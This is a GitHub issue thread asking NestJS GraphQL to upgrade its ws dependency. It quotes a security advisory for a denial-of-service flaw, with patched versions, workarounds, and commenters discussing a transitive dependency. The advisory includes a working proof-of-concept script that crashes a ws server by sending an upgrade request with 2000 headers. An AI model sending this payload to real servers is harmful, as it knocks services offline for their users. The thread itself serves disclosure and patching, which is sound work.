Upgrade WS dependency - ws affected by a DoS when handling a request with many HTTP headers

[ojengwa]

Is there an existing issue for this?

• I have searched the existing issues

Current behavior

Description
Impact
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept
const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;

for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;

for (let j = 0; j < chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}

headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';

const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});

request.end();
});
Patches
The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

References
websockets/ws#2230
websockets/ws#2231
References
GHSA-3h5v-q93c-6h6q
websockets/ws#2230
websockets/ws#2231
websockets/ws@22c2876
websockets/ws@4abd8f6
websockets/ws@e55e510
websockets/ws@eeb76d3

Minimum reproduction code

GHSA-3h5v-q93c-6h6q

Steps to reproduce

No response

Expected behavior

Fix a major vulnerability.

Package version

12.1.1

Graphql version

graphql: 12.1.1

NestJS version

10.3.8

Node.js version

No response

In which operating systems have you tested?

• macOS
• Windows
• Linux

Other

No response

[zhangyi921]

Waiting for this to be fixed.

[sawilde]

the @nestjs/graphql package has a dependancy on subscriptions-transport-ws which in turn has a dependancy on ws 5,6,7 and so we are still exposed to the reported ws vulnerability

This package however is no longer maintained and it is recommended to switch to graphql-ws instead

[kamilmysliwiec]

#3217

[BizXcentral]

can jetbrains webstorm IDE as an executable js. to reinstall the node module...............the fix described above did not work and i wass unable to edit config to lower the .maxheaderscount

[BizXcentral]

i used the backup of my node modules to create executables using webstorm still new to code hope this is helpful in some way,,,,